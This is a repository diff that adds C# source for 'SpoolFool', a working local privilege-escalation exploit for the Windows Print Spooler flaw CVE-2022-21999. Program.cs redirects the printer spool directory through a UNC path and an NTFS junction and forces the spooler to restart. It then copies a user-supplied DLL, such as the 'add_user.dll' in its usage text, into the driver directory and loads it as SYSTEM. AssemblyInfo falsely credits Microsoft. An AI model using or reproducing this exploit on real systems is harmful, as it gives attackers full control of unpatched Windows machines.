|
||||
/// <param name="junctionPoint">The junction point path</param>
|
||||
public static void Delete(string junctionPoint)
|
||||
{
|
||||
if (!Directory.Exists(junctionPoint))
|
||||
{
|
||||
if (File.Exists(junctionPoint))
|
||||
throw new IOException("Path is not a junction point.");
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
using (var handle = OpenReparsePoint(junctionPoint, EFileAccess.GenericWrite))
|
||||
{
|
||||
var reparseDataBuffer = new REPARSE_DATA_BUFFER
|
||||
{
|
||||
ReparseTag = IO_REPARSE_TAG_MOUNT_POINT,
|
||||
ReparseDataLength = 0,
|
||||
PathBuffer = new byte[0x3ff0]
|
||||
};
|
||||
|
||||
|
||||
var inBufferSize = Marshal.SizeOf(reparseDataBuffer);
|
||||
var inBuffer = Marshal.AllocHGlobal(inBufferSize);
|
||||
try
|
||||
{
|
||||
Marshal.StructureToPtr(reparseDataBuffer, inBuffer, false);
|
||||
|
||||
int bytesReturned;
|
||||
var result = DeviceIoControl(handle.DangerousGetHandle(), FSCTL_DELETE_REPARSE_POINT,
|
||||
inBuffer, 8, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);
|
||||
|
||||
if (!result)
|
||||
ThrowLastWin32Error("Unable to delete junction point.");
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(inBuffer);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
Directory.Delete(junctionPoint);
|
||||
}
|
||||
catch (IOException ex)
|
||||
{
|
||||
throw new IOException("Unable to delete junction point.", ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether the specified path exists and refers to a junction point.
|
||||
/// </summary>
|
||||
/// <param name="path">The junction point path</param>
|
||||
/// <returns>True if the specified path represents a junction point</returns>
|
||||
/// <exception cref="IOException">
|
||||
/// Thrown if the specified path is invalid
|
||||
/// or some other error occurs
|
||||
/// </exception>
|
||||
public static bool Exists(string path)
|
||||
{
|
||||
if (!Directory.Exists(path))
|
||||
return false;
|
||||
|
||||
using (var handle = OpenReparsePoint(path, EFileAccess.GenericRead))
|
||||
{
|
||||
var target = InternalGetTarget(handle);
|
||||
return target != null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the target of the specified junction point.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// Only works on NTFS.
|
||||
/// </remarks>
|
||||
/// <param name="junctionPoint">The junction point path</param>
|
||||
/// <returns>The target of the junction point</returns>
|
||||
/// <exception cref="IOException">
|
||||
/// Thrown when the specified path does not
|
||||
/// exist, is invalid, is not a junction point, or some other error occurs
|
||||
/// </exception>
|
||||
public static string GetTarget(string junctionPoint)
|
||||
{
|
||||
using (var handle = OpenReparsePoint(junctionPoint, EFileAccess.GenericRead))
|
||||
{
|
||||
var target = InternalGetTarget(handle);
|
||||
if (target == null)
|
||||
throw new IOException("Path is not a junction point.");
|
||||
|
||||
return target;
|
||||
}
|
||||
}
|
||||
|
||||
private static string InternalGetTarget(SafeFileHandle handle)
|
||||
{
|
||||
var outBufferSize = Marshal.SizeOf(typeof(REPARSE_DATA_BUFFER));
|
||||
var outBuffer = Marshal.AllocHGlobal(outBufferSize);
|
||||
|
||||
try
|
||||
{
|
||||
int bytesReturned;
|
||||
var result = DeviceIoControl(handle.DangerousGetHandle(), FSCTL_GET_REPARSE_POINT,
|
||||
IntPtr.Zero, 0, outBuffer, outBufferSize, out bytesReturned, IntPtr.Zero);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
var error = Marshal.GetLastWin32Error();
|
||||
if (error == ERROR_NOT_A_REPARSE_POINT)
|
||||
return null;
|
||||
|
||||
ThrowLastWin32Error("Unable to get information about junction point.");
|
||||
}
|
||||
|
||||
var reparseDataBuffer = (REPARSE_DATA_BUFFER)
|
||||
Marshal.PtrToStructure(outBuffer, typeof(REPARSE_DATA_BUFFER));
|
||||
|
||||
if (reparseDataBuffer.ReparseTag != IO_REPARSE_TAG_MOUNT_POINT)
|
||||
return null;
|
||||
|
||||
var targetDir = Encoding.Unicode.GetString(reparseDataBuffer.PathBuffer,
|
||||
reparseDataBuffer.SubstituteNameOffset, reparseDataBuffer.SubstituteNameLength);
|
||||
|
||||
if (targetDir.StartsWith(NonInterpretedPathPrefix))
|
||||
targetDir = targetDir.Substring(NonInterpretedPathPrefix.Length);
|
||||
|
||||
return targetDir;
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(outBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
private static SafeFileHandle OpenReparsePoint(string reparsePoint, EFileAccess accessMode)
|
||||
{
|
||||
var reparsePointHandle = new SafeFileHandle(CreateFile(reparsePoint, accessMode,
|
||||
EFileShare.Read | EFileShare.Write | EFileShare.Delete,
|
||||
IntPtr.Zero, ECreationDisposition.OpenExisting,
|
||||
EFileAttributes.BackupSemantics | EFileAttributes.OpenReparsePoint, IntPtr.Zero), true);
|
||||
|
||||
if (Marshal.GetLastWin32Error() != 0)
|
||||
ThrowLastWin32Error("Unable to open reparse point.");
|
||||
|
||||
return reparsePointHandle;
|
||||
}
|
||||
|
||||
private static void ThrowLastWin32Error(string message)
|
||||
{
|
||||
throw new IOException(message, Marshal.GetExceptionForHR(Marshal.GetHRForLastWin32Error()));
|
||||
}
|
||||
|
||||
[Flags]
|
||||
private enum EFileAccess : uint
|
||||
{
|
||||
GenericRead = 0x80000000,
|
||||
GenericWrite = 0x40000000,
|
||||
GenericExecute = 0x20000000,
|
||||
GenericAll = 0x10000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
private enum EFileShare : uint
|
||||
{
|
||||
None = 0x00000000,
|
||||
Read = 0x00000001,
|
||||
Write = 0x00000002,
|
||||
Delete = 0x00000004
|
||||
}
|
||||
|
||||
private enum ECreationDisposition : uint
|
||||
{
|
||||
New = 1,
|
||||
CreateAlways = 2,
|
||||
OpenExisting = 3,
|
||||
OpenAlways = 4,
|
||||
TruncateExisting = 5
|
||||
}
|
||||
|
||||
[Flags]
|
||||
private enum EFileAttributes : uint
|
||||
{
|
||||
Readonly = 0x00000001,
|
||||
Hidden = 0x00000002,
|
||||
System = 0x00000004,
|
||||
Directory = 0x00000010,
|
||||
Archive = 0x00000020,
|
||||
Device = 0x00000040,
|
||||
Normal = 0x00000080,
|
||||
Temporary = 0x00000100,
|
||||
SparseFile = 0x00000200,
|
||||
ReparsePoint = 0x00000400,
|
||||
Compressed = 0x00000800,
|
||||
Offline = 0x00001000,
|
||||
NotContentIndexed = 0x00002000,
|
||||
Encrypted = 0x00004000,
|
||||
Write_Through = 0x80000000,
|
||||
Overlapped = 0x40000000,
|
||||
NoBuffering = 0x20000000,
|
||||
RandomAccess = 0x10000000,
|
||||
SequentialScan = 0x08000000,
|
||||
DeleteOnClose = 0x04000000,
|
||||
BackupSemantics = 0x02000000,
|
||||
PosixSemantics = 0x01000000,
|
||||
OpenReparsePoint = 0x00200000,
|
||||
OpenNoRecall = 0x00100000,
|
||||
FirstPipeInstance = 0x00080000
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct REPARSE_DATA_BUFFER
|
||||
{
|
||||
/// <summary>
|
||||
/// Reparse point tag. Must be a Microsoft reparse point tag.
|
||||
/// </summary>
|
||||
public uint ReparseTag;
|
||||
|
||||
/// <summary>
|
||||
/// Size, in bytes, of the data after the Reserved member. This can be calculated by:
|
||||
/// (4 * sizeof(ushort)) + SubstituteNameLength + PrintNameLength +
|
||||
/// (namesAreNullTerminated ? 2 * sizeof(char) : 0);
|
||||
/// </summary>
|
||||
public ushort ReparseDataLength;
|
||||
|
||||
/// <summary>
|
||||
/// Reserved; do not use.
|
||||
/// </summary>
|
||||
public ushort Reserved;
|
||||
|
||||
/// <summary>
|
||||
/// Offset, in bytes, of the substitute name string in the PathBuffer array.
|
||||
/// </summary>
|
||||
public ushort SubstituteNameOffset;
|
||||
|
||||
/// <summary>
|
||||
/// Length, in bytes, of the substitute name string. If this string is null-terminated,
|
||||
/// SubstituteNameLength does not include space for the null character.
|
||||
/// </summary>
|
||||
public ushort SubstituteNameLength;
|
||||
|
||||
/// <summary>
|
||||
/// Offset, in bytes, of the print name string in the PathBuffer array.
|
||||
/// </summary>
|
||||
public ushort PrintNameOffset;
|
||||
|
||||
/// <summary>
|
||||
/// Length, in bytes, of the print name string. If this string is null-terminated,
|
||||
/// PrintNameLength does not include space for the null character.
|
||||
/// </summary>
|
||||
public ushort PrintNameLength;
|
||||
|
||||
/// <summary>
|
||||
/// A buffer containing the unicode-encoded path string. The path string contains
|
||||
/// the substitute name string and print name string.
|
||||
/// </summary>
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x3FF0)] public byte[] PathBuffer;
|
||||
}
|
||||
}
|
||||
}
|
112
00-CVE_EXP/CVE-2022-21999/SpoolFool/Printer.cs
Normal file
112
00-CVE_EXP/CVE-2022-21999/SpoolFool/Printer.cs
Normal file
@ -0,0 +1,112 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace SpoolFool
|
||||
{
|
||||
class Printer
|
||||
{
|
||||
|
||||
[DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
static extern bool OpenPrinter(string pPrinterName, out IntPtr phPrinter, ref PRINTER_DEFAULTS pDefault);
|
||||
|
||||
[DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
static extern IntPtr AddPrinter(string pPrinterName, int level, ref PRINTER_INFO_2 printerInfo);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
struct PRINTER_DEFAULTS
|
||||
{
|
||||
[MarshalAs(UnmanagedType.LPTStr)] public string pDatatype;
|
||||
public IntPtr pDevMode;
|
||||
public int DesiredAccess;
|
||||
}
|
||||
|
||||
private const int PRINTER_ACCESS_ADMINISTRATOR = 0x4;
|
||||
private const int PRINTER_ACCESS_USE = 0x8;
|
||||
private const int STANDARD_RIGHTS_REQUIRED = 0xF0000;
|
||||
private const int PRINTER_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | PRINTER_ACCESS_ADMINISTRATOR | PRINTER_ACCESS_USE;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
||||
public struct PRINTER_INFO_2
|
||||
{
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pServerName;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pPrinterName;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pShareName;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pPortName;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pDriverName;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pComment;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pLocation;
|
||||
public IntPtr pDevMode;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pSepFile;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pPrintProcessor;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pDatatype;
|
||||
[MarshalAs(UnmanagedType.LPTStr)]
|
||||
public string pParameters;
|
||||
public IntPtr pSecurityDescriptor;
|
||||
public uint Attributes; // See note below!
|
||||
public uint Priority;
|
||||
public uint DefaultPriority;
|
||||
public uint StartTime;
|
||||
public uint UntilTime;
|
||||
public uint Status;
|
||||
public uint cJobs;
|
||||
public uint AveragePPM;
|
||||
}
|
||||
|
||||
[DllImport("winspool.drv")]
|
||||
static extern bool GetPrinterDriverDirectory(StringBuilder pName,
|
||||
StringBuilder pEnv,
|
||||
int Level,
|
||||
[Out] StringBuilder outPath,
|
||||
int bufferSize,
|
||||
ref int Bytes);
|
||||
|
||||
[DllImport("winspool.drv")]
|
||||
internal static extern int SetPrinterDataEx(IntPtr pHandle,
|
||||
string pKeyName,
|
||||
string pValueName,
|
||||
int Type,
|
||||
string pData,
|
||||
int cbData);
|
||||
|
||||
internal static string GetDriverDirectory()
|
||||
{
|
||||
StringBuilder str = new StringBuilder(1024);
|
||||
int i = 0;
|
||||
GetPrinterDriverDirectory(null, null, 1, str, 1024, ref i);
|
||||
return str.ToString();
|
||||
}
|
||||
|
||||
internal static bool OpenExistingPrinter(string printerName, ref IntPtr pHandle)
|
||||
{
|
||||
PRINTER_DEFAULTS defaults = new PRINTER_DEFAULTS();
|
||||
defaults.DesiredAccess = PRINTER_ALL_ACCESS;
|
||||
|
||||
return OpenPrinter(printerName, out pHandle, ref defaults);
|
||||
}
|
||||
|
||||
internal static IntPtr CreatePrinter(string printerName)
|
||||
{
|
||||
PRINTER_INFO_2 printerInfo = new PRINTER_INFO_2();
|
||||
printerInfo.pPrinterName = printerName;
|
||||
printerInfo.pDriverName = "Microsoft XPS Document Writer v4";
|
||||
printerInfo.pPortName = "PORTPROMPT:";
|
||||
printerInfo.pPrintProcessor = "winprint";
|
||||
printerInfo.pDatatype = "RAW";
|
||||
|
||||
IntPtr hPrinter = AddPrinter("", 2, ref printerInfo);
|
||||
|
||||
return hPrinter;
|
||||
}
|
||||
}
|
||||
}
|
226
00-CVE_EXP/CVE-2022-21999/SpoolFool/Program.cs
Normal file
226
00-CVE_EXP/CVE-2022-21999/SpoolFool/Program.cs
Normal file
@ -0,0 +1,226 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.IO;
|
||||
using System.Security.AccessControl;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace SpoolFool
|
||||
{
|
||||
public class Program
|
||||
{
|
||||
[DllImport("shell32.dll", SetLastError = true)]
|
||||
static extern IntPtr CommandLineToArgvW(
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);
|
||||
|
||||
public static void CommandEntry(string commandLine)
|
||||
{
|
||||
if (commandLine == "" || commandLine == null)
|
||||
{
|
||||
Main(null);
|
||||
return;
|
||||
}
|
||||
|
||||
int argc;
|
||||
var argv = CommandLineToArgvW(commandLine, out argc);
|
||||
|
||||
if (argv == IntPtr.Zero)
|
||||
throw new System.ComponentModel.Win32Exception();
|
||||
try
|
||||
{
|
||||
var args = new string[argc];
|
||||
for (var i = 0; i < args.Length; i++)
|
||||
{
|
||||
var p = Marshal.ReadIntPtr(argv, i * IntPtr.Size);
|
||||
args[i] = Marshal.PtrToStringUni(p);
|
||||
}
|
||||
|
||||
Main(args);
|
||||
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(argv);
|
||||
}
|
||||
}
|
||||
|
||||
internal static void Main(string[] args)
|
||||
{
|
||||
string moduleName = System.Reflection.Assembly.GetExecutingAssembly().Location;
|
||||
|
||||
if (args == null || !args.Any())
|
||||
{
|
||||
Console.WriteLine();
|
||||
Console.WriteLine("SpoolFool");
|
||||
Console.WriteLine(" By Oliver Lyak (@ly4k_)");
|
||||
Console.WriteLine();
|
||||
Console.WriteLine("Examples:");
|
||||
Console.WriteLine(" {0} -dll add_user.dll", moduleName);
|
||||
Console.WriteLine(" {0} -dll add_user.dll -printer 'My Printer'", moduleName);
|
||||
Console.WriteLine(" {0} -dll add_user.dll -dir 'SECRET'", moduleName);
|
||||
Console.WriteLine(" {0} -dll add_user.dll -printer 'My Printer' -dir 'SECRET'", moduleName);
|
||||
return;
|
||||
}
|
||||
|
||||
string argPrinterName = "Microsoft XPS Document Writer v4";
|
||||
string argDriverDirectory = "4";
|
||||
string argSourceDLL = "";
|
||||
IntPtr pHandle = new IntPtr(0);
|
||||
|
||||
foreach (var entry in args.Select((value, index) => new { index, value }))
|
||||
{
|
||||
string argument = entry.value.ToUpper();
|
||||
|
||||
switch (argument)
|
||||
{
|
||||
case "-PRINTER":
|
||||
case "/PRINTER":
|
||||
argPrinterName = args[entry.index + 1];
|
||||
break;
|
||||
|
||||
case "-DIR":
|
||||
case "/DIR":
|
||||
argDriverDirectory = args[entry.index + 1];
|
||||
break;
|
||||
|
||||
case "-DLL":
|
||||
case "/DLL":
|
||||
argSourceDLL = args[entry.index + 1];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (argSourceDLL == "")
|
||||
{
|
||||
Console.WriteLine("[-] Please specify a DLL");
|
||||
return;
|
||||
}
|
||||
|
||||
if (File.Exists(argSourceDLL) == false)
|
||||
{
|
||||
Console.WriteLine("[-] Could not find DLL: {0}", argSourceDLL);
|
||||
return;
|
||||
}
|
||||
|
||||
if (argDriverDirectory == "")
|
||||
{
|
||||
argDriverDirectory = "{" + Guid.NewGuid().ToString().ToUpper() + "}";
|
||||
Console.WriteLine("[*] Generating random driver directory: {0}", argDriverDirectory);
|
||||
}
|
||||
|
||||
string tempPath = Path.GetTempPath();
|
||||
string baseDirectory = Path.Combine(tempPath, Guid.NewGuid().ToString());
|
||||
|
||||
string driverDir = Printer.GetDriverDirectory();
|
||||
string targetDir = Path.Combine(driverDir, argDriverDirectory);
|
||||
string linkDirectory = "\\\\localhost\\C$\\" + Path.Combine(baseDirectory, argDriverDirectory).Substring(3); // Remove 'C:\'
|
||||
|
||||
string sourceDllName = Path.GetFileName(argSourceDLL);
|
||||
string targetDll = Path.Combine(targetDir, sourceDllName);
|
||||
|
||||
Console.WriteLine("[*] Using printer name: {0}", argPrinterName);
|
||||
Console.WriteLine("[*] Using driver directory: {0}", argDriverDirectory);
|
||||
|
||||
Directory.CreateDirectory(baseDirectory);
|
||||
|
||||
Console.WriteLine("[*] Using temporary base directory: {0}", baseDirectory);
|
||||
|
||||
Console.WriteLine("[*] Trying to open existing printer: {0}", argPrinterName);
|
||||
if (Printer.OpenExistingPrinter(argPrinterName, ref pHandle) == false)
|
||||
{
|
||||
Console.WriteLine("[*] Failed to open existing printer: {0}", argPrinterName);
|
||||
Console.WriteLine("[*] Trying to create printer: {0}", argPrinterName);
|
||||
pHandle = Printer.CreatePrinter(argPrinterName);
|
||||
if (pHandle == IntPtr.Zero)
|
||||
{
|
||||
Console.WriteLine("[-] Failed to create printer: {0}", argPrinterName);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[+] Created printer: {0}", argPrinterName);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[+] Opened existing printer: {0}", argPrinterName);
|
||||
}
|
||||
|
||||
if (Directory.Exists(targetDir))
|
||||
{
|
||||
Console.WriteLine("[*] Target directory already exists", targetDir);
|
||||
goto LOAD_DLL;
|
||||
}
|
||||
|
||||
Console.WriteLine("[*] Setting spool directory to: {0}", linkDirectory);
|
||||
if (Printer.SetPrinterDataEx(pHandle, "\\", "SpoolDirectory", 1, linkDirectory, linkDirectory.Length) == 0)
|
||||
{
|
||||
Console.WriteLine("[+] Successfully set the spool directory to: {0}", linkDirectory);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[-] Failed to set the spool directory to: {0}", linkDirectory);
|
||||
return;
|
||||
}
|
||||
|
||||
Console.WriteLine("[*] Creating junction point: {0} -> {1}", baseDirectory, driverDir);
|
||||
JunctionPoint.Create(baseDirectory, driverDir, true);
|
||||
|
||||
string terminator = "C:\\Windows\\System32\\AppVTerminator.dll";
|
||||
|
||||
Console.WriteLine("[*] Forcing spooler to restart");
|
||||
|
||||
Printer.SetPrinterDataEx(pHandle, "CopyFiles\\", "Module", 1, terminator, terminator.Length);
|
||||
|
||||
Console.Write("[*] Waiting for spooler to restart");
|
||||
|
||||
while (true)
|
||||
{
|
||||
Thread.Sleep(2000);
|
||||
|
||||
Console.Write(".");
|
||||
|
||||
if (Printer.OpenExistingPrinter(argPrinterName, ref pHandle))
|
||||
{
|
||||
Console.WriteLine("");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
Console.WriteLine("[+] Spooler restarted");
|
||||
|
||||
if (Directory.Exists(targetDir))
|
||||
{
|
||||
Console.WriteLine("[+] Successfully created driver directory: {0}", targetDir);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[-] Failed to create driver directory: {0}", targetDir);
|
||||
return;
|
||||
}
|
||||
|
||||
LOAD_DLL:
|
||||
Console.WriteLine("[*] Copying DLL: {0} -> {1}", argSourceDLL, targetDll);
|
||||
|
||||
if (File.Exists(targetDll))
|
||||
{
|
||||
Console.WriteLine("[*] DLL already exists: {0}", targetDll);
|
||||
Console.WriteLine("[*] Trying to delete DLL: {0}", targetDll);
|
||||
File.Delete(targetDll);
|
||||
}
|
||||
|
||||
File.Copy(argSourceDLL, targetDll);
|
||||
|
||||
Console.WriteLine("[*] Granting read and execute to SYSTEM on DLL: {0}", targetDll);
|
||||
FileSecurity fSecurity = File.GetAccessControl(targetDll);
|
||||
fSecurity.AddAccessRule(new FileSystemAccessRule(@"System", FileSystemRights.ReadAndExecute, AccessControlType.Allow));
|
||||
File.SetAccessControl(targetDll, fSecurity);
|
||||
|
||||
Console.WriteLine("[*] Loading DLL as SYSTEM: {0}", targetDll);
|
||||
Printer.SetPrinterDataEx(pHandle, "CopyFiles\\", "Module", 1, targetDll, targetDll.Length);
|
||||
Console.WriteLine("[*] DLL should be loaded");
|
||||
|
||||
Directory.Delete(baseDirectory);
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("SpoolFool")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("Microsoft")]
|
||||
[assembly: AssemblyProduct("SpoolFool")]
|
||||
[assembly: AssemblyCopyright("Copyright © Microsoft 2021")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("ec49a1b1-4daa-47b1-90d1-787d44c641c0")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
55
00-CVE_EXP/CVE-2022-21999/SpoolFool/SpoolFool.csproj
Normal file
55
00-CVE_EXP/CVE-2022-21999/SpoolFool/SpoolFool.csproj
Normal file
@ -0,0 +1,55 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<RootNamespace>SpoolFool</RootNamespace>
|
||||
<AssemblyName>SpoolFool</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||
<Deterministic>true</Deterministic>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="JunctionPoints.cs" />
|
||||
<Compile Include="Printer.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
25
00-CVE_EXP/CVE-2022-21999/SpoolFool/SpoolFool.sln
Normal file
25
00-CVE_EXP/CVE-2022-21999/SpoolFool/SpoolFool.sln
Normal file
@ -0,0 +1,25 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31613.86
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SpoolFool", "SpoolFool.csproj", "{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{EC49A1B1-4DAA-47B1-90D1-787D44C641C0}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {248D0078-590F-4249-9D4E-41297672BAC8}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
BIN
00-CVE_EXP/CVE-2022-21999/imgs/poc.png
Normal file
BIN
00-CVE_EXP/CVE-2022-21999/imgs/poc.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 77 KiB |
BIN
00-CVE_EXP/CVE-2022-21999/imgs/second_run.png
Normal file
BIN
00-CVE_EXP/CVE-2022-21999/imgs/second_run.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 30 KiB |
Loading…
x
Reference in New Issue
Block a user